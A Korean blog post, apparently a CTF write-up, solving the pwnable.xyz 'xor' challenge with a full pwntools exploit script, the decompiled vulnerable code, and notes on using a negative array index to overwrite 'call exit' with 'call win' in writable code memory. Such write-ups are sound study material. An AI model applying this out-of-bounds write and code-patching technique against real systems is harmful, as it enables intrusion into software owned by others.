security/포너블 - pwnable.xyz

pwnable.xyz - xor

민사민서 2023. 2. 5. 01:22
from pwn import *
p = remote("svc.pwnable.xyz", 30029)

v6 = int(0xAC8-0x202200)//8 # -262887
v4 = 0x458B48FFFFFF54E8 ^ 0x1 # 5011179274728592617
v5 = 0x1
# (a^b)^b = a

p.sendline(str(int(v4))+" "+str(int(v5))+" "+str(int(v6)))
p.recvline()
p.sendline("1 2 10")

p.interactive()

 

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-24h]
  __int64 v4; // [rsp+10h] [rbp-20h] BYREF
  __int64 v5; // [rsp+18h] [rbp-18h] BYREF
  __int64 v6[2]; // [rsp+20h] [rbp-10h] BYREF

  v6[1] = __readfsqword(0x28u); // canary 세팅
  puts("The Poopolator");
  setup("The Poopolator", argv);
  while ( 1 )
  {
    v6[0] = 0LL;
    printf(format);
    v3 = _isoc99_scanf("%ld %ld %ld", &v4, &v5, v6);
// v4=0이거나, v5=0이거나, v6[0]=0이거나, v6[0]>9이거나, 입력받은값이 3개가 아니거나
// 그러면 종료!
    if ( !v4 || !v5 || !v6[0] || v6[0] > 9 || v3 != 3 )
      break;
    result[v6[0]] = v5 ^ v4;
    printf("Result: %ld\n", result[v6[0]]);
  }
  exit(1);
}
int win()
{
  return system("cat flag");
}

// Full RELRO      No canary found   NX enabled    PIE enabled
// result: bss segment(0x202200), win(): .text segment(0xA21) (코드영역,데이터영역 - offset 일정)
// call exit 명령어 주소: 0xAC8
// 함수 에필로그가 없네... 그냥 call exit 로 끝나벌임..
// 아예 text segment로 가서 어셈블리어를 수정해버릴까 - 코드영역 수상할정도로 모든 권한이 있다 (rwx) - 수정 가능!
// 어떻게 수정하냐? IDA의 힘을 빌리자 ㅎㅎㅎ
// call exit(E8 63 FD FF FF) 상태에서 Edit->Patch Program->Assemble 해서 call win으로 바꾸니
// E8 54 FF FF FF 이렇게 바뀜 
// v6[0]을 음수로 조정해 0xAC8 부터 8바이트를 E8 54 FF FF FF 48 8B 45 로 만들어버리면 됨

어셈블리어 보면
mov    rax,QWORD PTR [rbp-0x10] ; v6[0] 값을 rax로
lea    rdx,[rax*8+0x0] ; rdx에 rax*8한 값을 넣고
mov    QWORD PTR [rdx+rax*1],rcx ; rax=result, result로부터 rdx 떨어진 곳의 8B에 xor한 값을 넣는다

즉 v6[0] index는 떨어진 바이트 수 나누기 8한 값을 주어야 함
pwndbg> x/gx 0x0000555555554ac8
0x555555554ac8 <main+148>: 0x458b48ffffff54e8

잘 바뀌네 ~~

cf) IDA 도움을 받지 않고 어케 구하냐?
call: E8 + (상대주소 4Byte, little endian)
jmp: E9 + (상대주소 4Byte, little endian)

상대주소: 목적지 주소 - 현재 명령주소(rip) - 5
즉 p/x (win 주소) - (call win 명령어 주소) - 5 하면 됨

 

'security > 포너블 - pwnable.xyz' 카테고리의 다른 글

pwnable.xyz - TLSv00  (0) 2023.02.05
pwnable.xyz - free spirit  (0) 2023.02.05
pwnable.xyz - two targets  (0) 2023.02.05
pwnable.xyz - note  (0) 2023.02.05
pwnable.xyz - grownup  (0) 2023.02.05